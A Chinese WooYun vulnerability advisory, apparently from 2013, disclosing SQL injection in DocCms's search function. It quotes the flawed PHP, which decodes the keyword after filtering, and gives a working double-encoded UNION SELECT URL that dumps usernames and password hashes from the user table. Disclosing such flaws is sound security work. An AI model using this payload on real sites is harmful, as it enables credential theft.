漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-042738
漏洞标题:DocCms最新版sql注入漏洞
相关厂商:DocCms
漏洞作者: Matt
提交时间:2013-11-13 11:49
修复时间:2014-02-11 11:50
公开时间:2014-02-11 11:50
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-11-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-02-11: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
doccms 注入漏洞
详细说明:
content/search/index.php
function index()
{
global $db;
global $request;
global $params;
global $tag; // 标签数组
!checkSqlStr($request['keyword'])? $request['keyword'] = $request['keyword'] : exit('非法字符');
$keyword = urldecode($request['keyword']);
省略若干
function get_search_result($modelName)
{
global $db,$request;
!checkSqlStr($request['keyword'])? $request['keyword'] = $request['keyword'] : exit('非法字符');
$keyword = urldecode($request['keyword']);
switch($modelName)
{
case 'article':
$sql = "SELECT * FROM ".TB_PREFIX."article WHERE title LIKE '%".$keyword."%' OR content LIKE '%".$keyword."%' ORDER BY id DESC";
测试
http://127.0.0.1/doc/?f=search&m=index&keyword=%2527%20 %2555nion %2553elect concat(username,0x7c,pwd),concat(username,0x7c,pwd),concat(username,0x7c,pwd),concat(username,0x7c,pwd),5,6,7,concat(username,0x7c,pwd),9,10,11,12,13,14,15,16,17,18,19,20 from doc%255fuser %23
然后网页托到最下面就能看到信息了
漏洞证明:
修复方案:
过滤
版权声明:转载请注明来源 Matt@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝